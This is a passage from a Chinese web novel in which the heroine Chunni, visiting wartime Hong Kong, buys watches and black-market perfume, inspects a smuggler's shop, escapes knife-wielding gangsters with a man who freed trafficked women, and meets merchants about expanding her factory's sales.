反正,港城街面上这些商品按标价拿回海城,即使翻倍去卖,也达不到暴利的标准。 一定还有另外的渠道。 春妮走走逛逛,到了一间商厦前面。她抬头一看,顿时笑了。 这不是他们工厂最大的合作伙伴,先施百货吗? 先施百货原本就是从港城起家,只是在海城的营业额更高,更出名罢了。而春妮他们出货给先施之后,知道也有一部分货物发到了港城售卖,正好她今天逛到这里,干脆进去看看。 时间还早,春妮索性从一楼逛起。 港城的先施跟海城的商品陈列大同小异,一楼一半是珠宝,一半是手表和化妆品。 春妮现在只对金子有兴趣,可商场里不卖金条,金饰溢价过高。她打听了一下价钱,顿时失去了购买的兴致。 逛到手表柜台时,她望着柜台前方悬挂的“九五折”站了站。春妮想买手表很久了,海城的手表虽然没有奶粉那么难买,但一天天价钱涨得她也没有什么购物欲望。她去温南前原本看好了一款,一直没下定决心,等回去之后再买,那块表已经涨了十块钱。 于是,直到来海城之前,她的手腕上仍是光秃秃地,除了夏风萍给她编的平安结,什么都没有。幸好吴江边上有一座每天准点报时的钟楼,不然每天太阳下山,她就没有了什么时间概念。 柜台里的柜哥热情地过来招呼她:“这位小姐,想买手表吗?我们浪琴手表今天品牌周年庆典,全品牌有九五折扣,如果您的消费超过五十块,还附送一份价值不斐的小礼物。” 春妮两辈子都没怎么逛过商场,对传说中能掏空人口袋的营销手段完全没有戒心,闻言,顿时感兴趣地问:“送什么小礼物?” 柜哥神秘地笑笑,郑重其事地戴上了白色的丝质手套,从柜台下面取出一个木匣子打开。 木匣子内部,黑丝绒的衬里上,整整齐齐罗列着两排安甑瓶。 春妮:“????”买手表送药水?送的是消炎药还是止痛药? 幸好她没有问出来,很快,旁边有女孩子在惊呼:“哇,你看Guerlain这个香水瓶好可爱啊,saler,是什么味道的?” “对不起,这位小姐,我们的香水不单卖。” 趁柜哥招呼其他人,春妮拿起一只瓶子仔细端详。 春妮按照药水瓶的估算,这瓶女士香水最多只有五毫升,香水瓶呈淡黄色,瓶身表面印着一圈英文花体字,似乎还是什么大牌子, 这个年代的外国香水跟丝袜不一样,虽然同属奢侈品,但外国香水远没有丝袜好卖。这是因为运输途中损耗大,导致原本就高的价格更加高得离谱,一般人家根本不用想,而品牌本身为了保持逼格,更加不会折价出售。也因此,在海城战争开始后,在先施百货唯一的一个外国香水陈列柜不得不撤了柜。 但春妮知道,买不起不代表她们不想买。就像她旁边的这个女孩子,她磨着柜哥打开香水瓶,闻了又闻都舍不得走,还低声央求他卖给自己一瓶。不得不离开时,她恋恋不舍地看了好几眼才走。 “小姐,看好了吗?” “你把这两款给我看看。” “要这款米白色表带的,还有红色表带的也要。”米白色是给她自己的,红色的是给夏风萍的。 夏风萍是个有志气的姑娘,虽然她家里什么名表都有,但她说,既然已经赚了钱,就不该再问家里要。因而辛苦攒了大半年的钱,终于攒了四十多块,以为够买手表了,结果跟她去商场一看,上个月只差两块钱就够的手表,这个月再去买,足差了五块钱,越发买不起了。 这次到港城来,春妮除了给自己,也肩负着给夏风萍挑手表的任务。 一出手就是两块手表,这是大单啊! 柜哥眉开眼笑,打包的时候顺口问道:“小姐还需要别的吗?再买一块手表,我可以作主,一次送您五瓶香水。” 这时,柜台上只有春妮一个客人,她心中一动:“你这香水真的不单独售卖?” 柜哥正要摇头,眼前多了几张纸币:“你答应的话,这些我都要了。” 虽然她没用过这什么牌子的香水,但完全不用担心柜台卖假货。原因说来可悲,以华国现在的工业水平,做不 出这样不足手指大,带有铝制密封瓶盖的假货。 柜哥:“……”他迅速左右看看,伸手盖住钱币:“小姐,您稍等。手表您还要吗?” 这位柜哥还挺敬业,赚外快的时候没忘记本职工作。 春妮让柜哥给她包起来,接着问道:“像这样的货,你手上还有多少?” “没有了,公司没有给我们发多少,”柜哥迅速将所有小样打包,听上去也很遗憾:“我只能给你这么多。” “你再想想,你是本地人,一定比我有办法。我好不容易来港城一趟,总得给亲戚朋友带点好带的礼物吧。” 她暗示地往旁边柜台上看了看:“你的亲戚朋友,有没有跟你一样,做这一行的?” 柜哥恍然,悄声同春妮道:“那你今天晚上八点钟,我们商场打烊之后再来,我先帮你问问。” 春妮买的手表是浪琴的基础款,一块不是很贵,五十多块钱,再打九五折,买两块将将一百块钱。 即使她现在买一辆车,出手就是好几万块钱,这一百块钱花出去,还是让她心疼得直抽抽。 以现在海城的粮价,她还雇着这么多人,钱财来源的大头早就不再是小吃摊。除了上次去温南的那笔意外之财,她只能指望学校开的那两份薪水过日子。 好在工厂这几个月盈利很好,方校长跟朋友取经,将他们这些高层的工资跟效益挂钩,这几个月春妮工资加奖金,每个月都有上百块钱,如今腰囊颇丰,才舍得花钱为自己买手表。 如果在战前,即使一年只有三四个月能拿到这个工资水平,她辛苦工作六七年,在华界买一套小房子都不成问题。可惜月月翻高涨价的粮面粮油等各种生活必需品的价钱让人一点都不敢松懈,春妮一有机会,还得为自己寻找捞外快的机会。 这会儿港城还没有传说中“不夜城”的气象,晚上八点不到,先施百货里的大灯就陆陆续续地灭了。春妮站在匝道里等了会儿,白天手表柜的柜哥提着个袋子走了出来。 春妮叫了他一声:“这里。” 柜哥一脸紧张地跑过来:“小姐,你小点声,被公司抓到,我就完了。” 他提着一个手提袋,给她看了一眼,袋子里各种式样颜色的小瓶子,全部都是品牌香水,还有一些雪花膏之类的护肤品。这些搁在柜台上卖,每一瓶价值至少都在两块钱以上。 春妮略点一点,见他实在是慌张,也不细看,给他一张票子:“够不够?” 她给的是特地到港城汇丰银行兑换的英镑,一张面值一镑。这一张在海城至少可以换三到五十块银元,在港城价值略有回落,看柜哥开心的样子,价值不会低到哪去。 “够了够了。小姐,你明天还来吗?” “你明天还有货?” 柜哥迟疑了一下,道:“要香水可能有点难,不是什么时候都有的。但其他东西,我可以给你想想办法。” “什么东西?” “大米,面粉,奶粉,洋酒,洋烟……想要什么有什么。” “有什么轻便易带,又好脱手的东西?” “那就是丝袜和大烟。”说到最后,柜哥声音陡然放低。 春妮点数的动作一顿:“你能弄到丝袜?” “我……试试吧。” 春妮听他说得底气不足,“你是不是东西有问题?不要欺负我不懂,我也有认识的本地人,明天我会带他一起来。” “没有没有,”柜哥见春妮要走,忙道:“小姐你误会了,我只是跟那些人不熟,东西绝对不会有问题。” “那我要先看到货再说。如果货没问题,奶粉洋酒,有什么我要什么。” “这……”柜哥倒想一次吃下春妮这个出手大方的客户,可他实在没这个本钱,因此十分犹豫。 春妮看出他的纠结,说道:“只要货没问题,我不会亏待你。我经常往来港城,以后我们合作的机会还不少。” “那好吧,你明天还是在这等我,我带你去看货。” 第94章 094 身价 跟那个叫姚根发的柜哥约好之后, 春妮也没忘记自己的本职工作。 继头一天去先施百货了解过睡美人的售卖情况之后,第二天她又去港城的其他商场转了转,发现那些商场售卖的凉席都还是传统的苇席和草编席, 也有竹青席, 无非是这些席子做工更加精美一些。 商场里不是没有更加高档的犀牛皮,野牛皮凉席,但那种皮制凉席动辄叫价几百上千甚至上万块,根本不是给他们普通人买的。比牛皮凉席价格稍低的,还有据说从东南亚进口来的藤凉席。但港城天气湿热,这种凉席摸上去没有麻将凉席那样凉快,而且藤编凉席比草编更加讲究手法。产量提不上去, 价格自然也降不下来,在港城的销量听说也不怎么样。 港城的富商们搬过来躲避战难之后, 随之而来的还有一大批高级职员。富商说来说去才几个人,这些人才是支撑卖场的用户基本群,但港城的中等商品市场明显还没有做起来。对比这些商场同先施的客流量,难怪先施的卖场经理一天打三遍电话, 恨不得住进学校催他们工厂出货。 逛得差不多到了时间,春妮去了怡兴车行一趟, 将头天那个去码头接她的男孩子丁细有要了出来。 关富华知道她是睡美人厂家派来的代表,这次尽管只订了一辆全车,以及一些零部件, 但看睡美人在港城的势头,明显是要大发起来。因而听春妮说, 想借丁细有一用,什么都没问,就爽快地放了人, 还说港城乱得很,问她要不要再多带几个。 春妮想了想,毕竟是第一次去,先探探路就好,人带得太多,反而像是去砸场子的。拒绝了关富华的好意,跟丁大有两人往先施百货去,同姚根发汇合。 丁细有祖辈是渔民出身,自打港城到了英国人手里,就在这扎根下来,如今到他已经是第四代,地道地的本地人。对本地的鬼马事,他都能说出一些。 他同春妮科普道:“其实我们港城有英国人在,大体还是安全的。只要你不往三虎地,骆驼城那边走,不会有什么问题。” “三虎地和骆驼城,这又是什么?” “这个说起来就很复杂啦。”丁细有操着口浓重的港普,道:“这两个地方,以前是前朝在港城边界驻兵的地方。但前朝二十多年前不是没有了吗?以前在那边驻兵的官兵没有人管,好多人就那什么,落了草,当了海匪。现在港城到内地的水货,基本都是从那边流过来的。” 水货在港城的行话中,指的就是没走正常渠道进关的走私货物。 春妮皱眉:“那姚根发那边?” 丁细有摆了摆手:“唔使惊,现在海船出来得少,光靠抢能抢到什么,那边人也要吃饭的啦。只要你不走进去,找到正确的地方,小心点,不会有问题的。” “那我怎么小心点?” “这样……” 两人说说聊聊,到了老地方,姚根发已经等在了原地,看了丁细有一眼,笑道:“顾小姐,咱们走吧。” “等等,”丁细有肩负着帮春妮甄别好人坏人的重任,当即道:“你要带我哋到边?讲明先。” “唔远,在蛇头埠,坐车行唔到半个钟。金牙发你识得?”姚根发道。 春妮也只听得懂这两句,再之后,他们说话渐渐快起来。春妮看见丁细有的神情从严肃到放松,最后对春妮点点头:“小顾姐,可以走了,他知道地方。” “去哪?” “蛇头埠,在骆驼城外围。他讲的货主金牙发,是我邻村的阿哥,我也听说他在做这行,只是没讲过话。” “是吗?那世界是真有点小。” “倒也不是,”丁细有道:“我家就在那附近,我每天都从那边过,那边的阿哥阿叔少有叫不出名。只是我爹不让我跟他们在一起 ,让我好好学手艺,所以你让我去,我一时也不知道谁是正主。” 这就是叫一个本地人来跟着的好处。 有丁细有押阵,姚根发领路,春妮几人叫来两个车仔坐上去,车子拐离大路,在尘土飞扬的小路上左右穿行,因为天已经黑得差不多,街上只有几名拿警棍的差佬目送他们的车子远去。 八点半刚过,车子在一间上了板子的店铺前停下。 这里跟街上那些房子一样,都是层高不到两米的木制阁楼,街面过道狭小,往往过道的上空还横着几根晾衣裳的麻绳。春妮只能弓着腰下车,因为一抬头,说不定就顶到哪家人的裤衩上去了。 姚根发先下了车拍门:“大发哥开门啦,有生意上门。” 门板被从里边卸下一块。 趁姚根发同里边人说话,丁细有抓紧时间跟她科普:“看到没有?那边往里走,就是骆驼城。你小姑娘记得千万别往里走,特别是晚上,乱得很。那些人手里有真家伙,说不定大街上就干起来,飞来一颗流弹,你就完了。从那条路穿过骆驼城,再走半个钟,就是海岸线,那一带停的帆船要么是烟土,要么是人蛇——” “顾小姐,进来看货啦。” 春妮目光微凝,耳边丁细有仍在喋喋不休:“要是被那些人蛇抓走,那就惨啦,他们捆你上帆船,运气好一点,卖到美国享福,运气不好,非洲当营妓都有可能。” “是吗?刚刚那个过去的,不是女人?”春妮伸手一指,却是指了个空。 她刚刚在路边上看到的,埋头走过去的女人这时已经不见了踪影。 春妮觉得,刚刚那个女人的背影,她似乎是在哪见过。在哪见过呢? 她没怀疑自己是不是看花眼,出来混这么些年,这点眼力她还是有点自信的。 春妮转身进了门。 屋里点着两盏油灯,一个不到三十岁的年轻人叼着烟坐在柜台后边,笑着指向身后,露出那半颗金牙:“靓女,想要点什么货,随便看,什么都有,我这里的价钱最公道啦。” 他身后的展示柜仅仅是一个黑乎乎的博物架,一格柜子放一样东西,洋酒洋烟,丝袜奶粉……果然像姚根发说的那样,她想到的什么紧俏的外国货都有。她没想到的,像瑞士军刀,罐头巧克力,他也有。 还有……她指着放在最高处的那一排子弹,问道:“那个怎么卖?” “你要那个?”金牙发道:“靓女,这种东西不是你问的啦。你知那是什么东西吗?” “你这些子弹的口径是7.62mm,7.92mm,8.08mm,分别对应勃朗宁手|枪,春田式步|枪,中正式步|枪,毛瑟|枪——还要我说下去吗?” 港城面向外洋市场,这里流出来的枪支也多是美式,德式,以及少量的日式和俄式,像闻老板他们最常用的汉阳造和土枪子弹是华国的国产,所以春妮猜测,金牙发这里应该不会有国产枪。 金牙发嘴上的烟不知什么时候掉了下来,见她停下来看着自己,不由竖起大拇指:“想不到我金牙发也有看走眼的一天!靓女,你靠哪里码头吃饭?” “行了,你这个勃朗宁怎么卖?”春妮不是道上人,也不想跟他认亲对切口。 金牙发哇地一声:“好烫!”手忙脚乱地拍着被灼出一个洞的裤子,匆匆将手伸出来,正反翻了翻。 春妮去看姚根发。 他会意地翻译:“一百块大洋。” “这么贵!”春妮猛地瞪大眼。 “靓女,勃朗宁就是这个价啦。”金牙发整理好衣服,笑嘻嘻地坐下来:“怎么样?要不要买?多买多送哦。” 要买个大头鬼啊!她拼死拼活干了小二年,全副身价加起来居然还不够装备一个学校的武装。 还多买多送,以为跳楼大甩卖怎么地? 难怪都说军火生意暴利,这么多人宁愿杀头也要做。哪里打了仗,冒死到战场上捡点枪支弹药作战利品,多来几回,海城的房子都能买一套下来,无本生意,就是她听着都动心。 难怪上次春妮给闻老板二十多条枪,他那么开心,居然郑重其事托尹老师向她致了谢。她一出手就送了套房子,闻老板能不表示表示吗? 春妮心里疯狂吐槽,其实也明白,所谓去战场上捡枪发财就是个笑话。除非她能找到足够有钱的下家将东西卖出去,否则再好的枪,在她手里也只是废铜烂铁,真正赚钱的大头是金牙发他们这些二道贩子。 勃朗宁这么贵,其他枪想必也便宜不到哪去。 她屏蔽掉内心的吐槽,道:“我是问你子弹。” “那个啊,看你要哪一种喽。” “中正式。” “那个五毛钱一粒,你买一百粒,我打你九折。买多折多。” 嘶,还是好贵! 春妮没急着拍板说买不买,又问了丝袜的价钱,金牙发报了八毛钱,承诺她,如果她能拿五十双,给七毛五分钱,一百双以上的话可以算她七毛钱。这个价比五毛钱是贵,可谁知道跟那个莫名其妙的人去买五毛的丝袜会有什么事,在这里安全多了。 不过,在大街上就能拉陌生人去看货,那个人还不以为怪,港城地下走私市场的猖獗由此可见一斑。 最后,春妮只拿了两百双袜子,按六毛七分钱一双付了钱。 两方第一次做生意,金牙发没嫌少,还送了她两颗子弹,说让她拿回去玩玩。 春妮明白,金牙发刚刚被她报的一串弹药参数给震住了,以为她会是什么潜在的大客户。送她的这两颗子弹,意思是让她回去验货。 可她自家人知自家事,尽管这里的军火很惹她眼馋,但也是真贵。这下她是真的信了尹老师说的,闻老板的队伍里,十个人一个班才配一条枪。 军火这么贵,不是有钱人,谁玩得起啊! 她那二十多条枪说不定支撑了闻老板队伍里军火的半壁江山。 春妮怀揣着几千块钱,原本还有点沾沾自喜,觉得自己能在海城这种地方赚到钱,特别本事。才出来没两天,再一次被自己的贫穷暴击,打回了原形。 本来春妮没有买弹药的计划,他们学校加入了万国商团,每年是有数额极高的弹药费的,而且万国商团准许成员持械回家,他们学校暂时不需要操心武器的来源。在送给闻老板那批枪支之前,她用其他名义给学校也留了一批枪,他们没有这个需求。 但现在没需求,以后呢?这个时代,谁又说得准? 既然机会撞到她面前,她也不介意花点时间,顺便调查调查港城的军火市场再做决定。 第95章 095 铁憨憨 出于谨慎, 第二天春妮一个人又去了一次蛇头埠,她花两天时间,将整个骆驼城外围和临近海岸线的三虎城走访一遍, 对港城这个刚刚形成的地下走私帝国有了初步的认识。 蛇头埠做走私生意的人很多, 但价格和质量良莠不齐,大部分都摆在台面上任人询价观看。偶尔有经过的巡警,对这些明显与小店铺不匹配的商品也视而不见。 姚根发倒是没骗她,这里真正的好货不会卖给生面孔,因为根本不愁卖。 金牙发那天肯低价卖春妮那么些丝袜,除了她有人引路,也是以为她会是什么大客户, 愿意让些利,结交一个有潜力的客户罢了。 如果那天春妮是一个人进金牙发的铺子, 那些子弹是不会出现在他们面前的。 没有人带着看货,她就算在蛇头埠转到脚走断,想买些真正不能见光的东西,也很难找到门路。反而会引来一些骗子, 或是丁细有说的蛇头,就像现在这样。 从一家店铺出来, 春妮在门口站了站,假装不知道数米之外的小摊上,那两个男人已经跟了她一整条街。 她谨守丁细有的告诫, 一个人来转悠的时候,多半只是看看, 很少出手买东西。既然不是漏了财,那么,这两个人跟着她想干什么, 就一目了然了。 走出这条巷道的那个刹那,春妮一个加速度,开始撒腿狂奔。 人生地不熟,春妮不打算惹事,以她的体能,甩开这两个人不难。 身后那两人很快发现了不对,索性不再隐藏,跟着追了上去:“别跑!” “嗰个女仔,你给我站住!” 这两个小瘪三怎么会是天天跑三千米出来的春 妮对手?那两人跟了两条街,被她越甩越远,春妮抽空往后看,他们不知比划着什么,喘着粗气停了下来。 她轻松又一加速,再次钻进了一条巷子。 但是,正在这时,巷子的岔路上也冲出一个人,差点跟春妮撞个满怀! 那人来不及站稳,冲春妮直挥手:“快跑啊!” 春妮嫌他碍事,一脚踹开人,不顾那人在后边喊:“别过去了,那有——” 一道刀光直冲她面门劈来! 卧槽! 春妮看清岔路里的人,猛地一个刹车,以比来时更快的速度蹿了回去。 在她身后,一大群拿刀拿棍的人追了出来! 春妮刚刚已经跑了不短的距离,这会儿一受惊,气息立刻就岔了。 这一倒气儿,她只觉脚步越发沉重,而身后的那些人嘴里呜里哇啦,不知在喊着什么,气势极为迫人,眼看声音离她越来越近—— 一只手打横伸出来,突然拽住春妮的衣服,将她往旁边一带! 身后的人哇啦哇啦狂叫,直冲过去跑远了。 春妮长出一口气,心里止不住地纳闷:这些人从哪冒出来的?怎么突然跑出来对她喊打喊杀? 不对…… 春妮猛地回头,待看清旁边人的相貌,顿时眉头一蹙:“是你!” 站在她旁边喘得跟死狗似的这人,不是上回死活拉着她要去买五毛钱丝袜的那个铁憨憨吗? 这人此时也认出了春妮,一脸惊喜:“小阿姐,这么巧,是你啊!” 春妮戒备地退开半步:“那些人是你引来的?” 那人笑容僵住:“对不住了,小阿姐。是我连累了你。” 这条巷是死胡同,另外一边是围墙,完全走不通。 春妮瞪他一眼,顾不上计较,探头观察片刻,准备先从巷子里出去再说。 那人站在她身后,紧张兮兮地问:“怎么样?他们走了没有?” 春妮不想跟他说话。 那人悻悻跟春妮解释:“小阿姐,我不是故意要拖你下水。你也看到了,刀剑不长眼,那些人是疯的,我要是当时不拉你跑,你留在那里,万一被人顺手一刀——” 春妮猛地拽他一下,蹲下躲在巷中的垃圾筐背后。 那人急忙跟着照做。 几乎在两人蹲身下来的那一瞬间,路口处有人跑回来:“睇到人去咗边呀?” “冇睇到,四下找找。快啲!” 杂乱的脚步声来回打了几个转,说话声音渐渐消失,春妮听见两个极轻极轻的脚步声慢慢向这里靠近。 她不由将呼吸也调整得极慢极慢,视线透过遮挡物的缝隙观察着,计算着—— 猛地踢起身边的垃圾! 趁面前那两人视线被遮挡的那一瞬间,扫堂腿过去,踹倒两人,顺手抄起垃圾筐旁边的烂木板,转身跑向巷子的另一端。 “人喺度,快啲嚟追!”那两人抱着腿,杀猪般叫起来。 春妮充耳不闻,在助跑中将木板斜搭在墙上,两脚轻轻一点,双手攀上墙头,腾身一跃,便跳了上去。 她看了眼墙头的另一面,这边那人在墙角下跳着脚地叫:“小阿姐,拉我一把啊。” 春妮迟疑了一下,伸出手来。 几乎在那人双脚刚离地的瞬间,巷子口一窝蜂涌来了起码三四十个拿长刀的人。 这人是抢了□□老大的女人吗?竟引来这么多人追杀! 千钧一发之际,他手脚齐挣,终于攀上了墙头。春妮看他蒜头鼻,矮冬瓜,眯眯眼,丑得这么有特色,应该—— 他爬上墙头,迫不及待地往下一跳—— “卟嗵”,他在墙下边“啊”地叫起来:“小阿姐你小心点,这边是一个臭水塘。” 春妮这才跳下墙头,以那人的后背为支点,一个纵跃,险险在水塘边缘站稳,轻飘飘甩下一句“我知道”。 不是站在墙头,看在这个水塘她实在跳不过去的份上,她会这么好心去拉他? 春妮越想越搓火:她这辈子,没死在水灾里,没死在战场上,没死在倭国人的大搜捕中。却被这人卷进港城□□火拼,差点被人一刀砍死,要是死在这条无名小巷,还不知道为什么而死,那才可太窝囊憋屈了。 她在江浦码头那种地方,守夜那会儿,天天看□□拿真家伙喋血街头,也没遇到过这么惊险的情况! 她原想立刻转身离开,但心中这口恶气实在消不下去,找根竹竿把那人捞起来,一拳打过去:“你是不是想找死?想找死直说!” 那人自知理亏,也不敢躲,抱头蹲下挨揍:“小阿姐,你轻点,轻点。那边人要追过来了。” 春妮勉强按捺住火气,观察了一下情况,迅速离开巷子。手里还紧紧攥着那人的衣领子,预备找个安全的地方,接着揍! 那人倒是乖觉,顶着一身臭水,也不敢再叫,任春妮将他拉出巷子,扯出几条大街,扯进另外一条僻静的巷子,一脚踹过来,听他哀嚎道:“小阿姐,你轻点轻点,别踹腿别打腰,轻点……轻……啊!!!!!” 这人抱着脑袋任打,春妮打得也不畅快,踢他两下,蹲下来:“跟我说清楚,你犯什么事了?引这么多人追杀你?” 那人抱着脑袋,瑟缩道: “我今天碰见人蛇卖人,放走了几个姑娘。那几个姑娘真的可怜,被人蛇弄晕了装在木板箱里,说要卖到东南亚做妓女。我一时不忍心,就——” 春妮冷笑两声:“编,使劲编。我问你,你是把一整箱晕死的姑娘扛出码头的?” “是真的啦,小阿姐。那些姑娘里有两个没晕死,冲我一个劲喊救命,她们被人像鸡鸭一样堆在箱子里。我真的做不到见死不救,就趁人不备放走了她们。” 春妮一个字都不信:“按你的说法,你放走她们时没人看见。货主丢失了货物,不急着去追回来,反而来找你的麻烦。你觉得你比那些姑娘还值钱?” “一句两句说不清。小阿姐,其实我真的是好人的。”他急急辩道:“不信你去打听。今天是不是码头那边放跑了几个姑娘,你就知道我是不是说的真的。我也没骗你,今天我就是去看货买货的。也许那些人来追我,是因为我是在场唯一的外人?哎呀错了错了,那我就不该跑!我一跑,不是证明我心虚了吗?” 他懊恼片刻,翻出包里的东西让她看:“你看这就是我的货。啊!怎么回事?” 只见用细线捆扎起来的丝袜上洇出了大片的污渍,还滴滴答答滴着水,眼看是用不了了。应该是他刚刚扑在臭水塘里被弄脏的。 他整个人傻在当场,忽然捂脸大哭:“完了完了,这可怎么办才好?这可是我全部的钱啊!” 眼见街里街外行人经过,对他们俩指指点点,春妮实在觉得丢脸,站起来往外走。 没走几步,她站定往后看:“怎么?你还想让我赔你袜子钱?” 那人缩在后面,连连摆手:“没有没有。我,我,我也从这条道走。我知道好歹,你救了我,我怎么好意思找你麻烦?” 春妮翻了个白眼,瞥见街角一间粮店,让他站住:“等着。” 她进去粮店买了二两白面,全倒在他手里那捧袜子上:“快揉,把脏水揉出来。” “哦哦,”他倒是听话,没怀疑她,两只手连动,不一会儿一整扎袜子都被均匀地粘上白面,覆盖住了原本的脏污。他心疼得直咧嘴, “这么大一捧 白面,就没了?真可惜。” 说着,还想把手上剩的那点白面放进嘴里,伸到一半,想起来去看春妮,僵笑两声:“小阿姐,我——” “你这些丝袜用皂角清洗后会变形,就不能再卖了,目前只能做到这一步。等干了之后,放在清水里稍稍揉一揉,去掉面粉再晾干,应该不会有问题。就是有点小毛病,你进货不贵,按货损卖便宜点,多少能赚些回来。” “唉唉,您说得对。” 春妮想想,再没有其他可说的,拿出几个铜元:“这钱你拿着洗衣裳,别跟着我了。” “不不不,”他连声推拒,铜元叮呤咣啷滚了一地:“我说了我不要你钱。我是想问你,面粉花多少钱买的,我赔你。” 春妮伸出手,他“啊”地一怔。 “赔我的钱呢?” 他顿时窘迫起来,吃吃道:“我,我在码头上都给那几个姑娘了。那什么,”他随手抽出几条丝袜往她手里塞:“要不,我赔你袜子吧。” 春妮瞪着他,半晌,叹口气:“你跟我来。” 第96章 096 保守 有的人, 你看他嘴巴嘚啵嘚,好像很能说,很油滑, 很吃得开, 其实,扒开表相看本质,他真的是个老实人。 像春妮领回来的,这个叫王国柱的人,她观察几天,确定了,他真的就是这么个老实人。 至于他为什么喜欢跟人自来熟, 这么能说,王国柱这点倒说得清楚:“我家里祖辈都是做生意的, 打三岁起,我老豆就让我上柜,不愿意招呼客人,就要挨打。我现在见到生人总爱不停说话, 死活管不住嘴,就是让我老豆给憋出来的。” 但如果不是真的为人机灵, 话说得再多,不过是更招人厌罢了。这也是王国柱。 要不是丁细有带回来的消息说,那天的确有个外乡人放走了人蛇要运走的姑娘, 引得蛇头大怒,追着砍了人一整条街, 春妮也不会相信,就是这样一个油滑惹人厌烦的家伙,竟有胆子干出这种事。 至于王国柱怎么把人放走的, 随着姚根发和丁细有打听到的细节越来越多,春妮跟他的话两相对照,也捋出了差不多的过程。 如果说在蛇头埠买的水货一般是生活物品,那去到三虎地和骆驼城里,军火,矿产,大烟,女人,人头……只要你敢买,什么货都买得到。当然,去那里做生意,还得做好被人黑吃黑的准备。 王国柱那天三虎地在前屋买袜子,机缘巧合,后院蛇头送来了一批新货。恰好店主跟人谈事走开片刻,他听见箱子里声音不对,趁人不备,往木条箱里塞了片刀片,让她们解开了束缚。 如果他只做到这里,买了袜子赶紧走,也不至于惹来杀身之祸。 偏偏他买完袜子还留在那,吹牛自己后边有主,还想做大生意,跟店主东拉西扯说了半天废话,等别人发现不对时,箱子里十来个姑娘已经从后门跑得差不多了。 店主大受损失,自然要扣下事发时附近最可疑的人审问。就像王国柱说的那样,被抓就被抓,他死不承认,顶多挨顿打完事。偏偏露了端地,要是跑得慢一点,现在已经被人当街砍死了。 自从春妮那天救了王国柱,他一直躲在她住的酒店里,哪也不敢去。 春妮是不想管闲事,但丁细有说,这几天街面上一直有人在找王国柱,一旦看到他冒头,绝对是乱刀砍死的下场。 如今的港城虽有所发展,跟后世的那个国际大都市还是没得比。车仔绕岛跑一圈,不需要一个钟,找个人也不难。春妮要是不收留他,他不出三天就会被人砍死。 在港岛的□□,有两种人最惹不得,一种是大烟仔,一种就是人蛇了,连军火商都没有这两种人穷凶极恶。毕竟卖军火的只求发财,有一大批军火都是通过此地流向国内市场。说句好听一点的,这个年代卖军火还能支援国内革命。做大烟行,当人贩子的,那是人性都不要了的。尽管英国人没有在港城禁烟,大街上烟馆林立,但说起谁家开了大烟馆,发再多的财,那也是叫人看不起。 到底这人是做了好事,不能看好好一条人命真的死在这。 这人说话讨厌归讨厌,眼色倒是有一些。 那天被王国柱无故连累之后,春妮担心短时间之内再去会被人认出来,不得不暂时停下在骆驼城外围调查的计划,将重心投入到了港城的凉席市场。 八月即将过去,海城的凉席早就过了季节。但港城背靠东南亚,气候炎热,这个时候凉席正卖得。如果能以此为据点,用心经营,也会是个很有潜力的市场。 可惜目前的港岛虽然荒地多,盘踞在三虎地和骆驼城的□□实在凶残,时有路人被抢匪打伤之后夺走所有财物的新闻见诸报端。像港城这样因为交界问题的三不管地带很多,包括城市道路等配套设施也很抬不上盘面,英国人又不愿意管。难怪这时候大部分公司冒着被轰炸的风险,仍是愿意选择迁到双城。 可惜他们工厂成立太晚,这时候通往国统区的路线被封锁得很厉害,双宜交界处又时常被倭军轰炸。至少以他们的本事,是没办法带着机器平安走这么远的。 春妮跟方校长商量之后,只能暂缓到港城开设分公司的计划。 方校长的意思,目前他们连海城的市场都是刚刚才稳定下来,这种时候扩张太快容易出事,还是先用心经营好自家方是正经。 方校长为人一向保守,他会这么想不稀奇。 春妮选择打电话向他征询意见,本身就代表了她对自己先前计划的事有所疑虑。 春妮回想了一下,好像这个时期并不是太紧迫。她依稀记得,倭国人向全世界宣战前,好像还发生过一件什么大事。这件事发生之前,在海城租界做事,大体还是安全的。 玩具厂也好,凉席也好,他们的办厂时间都没超过一年,自己行业内的事都还没摸清,还是先别想这么远了。 跟在温南的流程差不多,春妮早两天到港城各大报馆登了招商广告。广告见诸报端的那天,有不少商人打电话到酒店咨询,还有人问明白地址,当天就跑了过来。 跑得最快的这一批人里,就有先施百货的卖场经理曲经理。 春妮前些天去先施卖场的时候,并没有向他们表明身份。天知道曲经理从报纸上见到这消息,打电话向海城求证时,还以为是哪里来的骗子,本想跟海城通告一声,让他们早作防备。结果嘛,他很庆幸自己打了这一通电话。 工厂跟先施合作了两个月,知道有时先施港城卖场会越过海城,直接向他们下订。曲经理虽然没跟春妮说过话,但对于凉席厂有一个才十岁出头的高管这事,他也是清楚的。 因而看见春妮迎出来,虽是头一回见面,并不敢怠慢,拉着她好一通委屈:“顾总工,我们先施不是一向跟你们合作得很好吗?怎么你们这么突然要换卖场?您是觉得我们哪里做得不好?” 春妮不得不先安抚曲经理:“您误会了,我们没有这个意思。” 她将学校想开发东南亚市场的打算略说了说,曲经理眼珠子转了转:“做生不如做熟。我们公司在东南亚也有业务,一并不交给我们不是很好?” 这…… 春妮笑了笑,道:“这得看公司的决定,我说了又不算。” 曲经理:“……”这位小高管,是从娘胎就开始练的太极吧? 不过,聪明人不需要点得太透。曲经理试探几句,知道他们是想优中选优,找出对工厂最有利的供应商,探明情报后,当即提出了告辞——这个重要情报当然得跟公司赶紧通报了。 春妮忙着招呼曲经理那会儿,王国柱自动自觉地帮忙将其他赶来的人引到酒店会客室里,忙里忙外地招呼。 他原来的那身衣服不能再穿,又不敢回自己住处拿衣物。春妮索性好人做到底,让丁细有带他去买了身新的。 现在他穿着这身板扎新的麻布短打招呼客人,将这些因为等待而有些焦燥的人招呼着坐在一起,倒是有模有样。 见到春妮这个小女孩,那些人本以为自己受了骗。有人嫌弃等待时间过长,已经不耐烦地开始冲王国柱发起了脾气。 但在看到曲经理跟春妮一同走出来时,骂声戛然而止。 “曲经理,你怎么到这来 了?”有眼尖的人已经认了出来。 别看曲经理在春妮面前好说好话,那是因为他们的产品过硬,但面对这些下游小商人,曲经理架子还是端得很足的。 见曲经理应酬那些人,春妮用眼神向王国柱使了个眼色。后者走过来,小声跟春妮道:“小顾姐,我看这里头有几个人不大对,你注意一下。” 王国柱家里以前开客店,别看他长得讨打,在识人方面有些能耐。 曲经理来这一趟,反而侧面为春妮正了名,为她的招商之举少了许多麻烦。 港城商人的实力跟温南比,自然又是高出不止一杆。 这一日,怡兴车行给春妮传话,说改装车的车把有点不合用,需要定制一个新的,等新车把做完,又要往后延三五天。 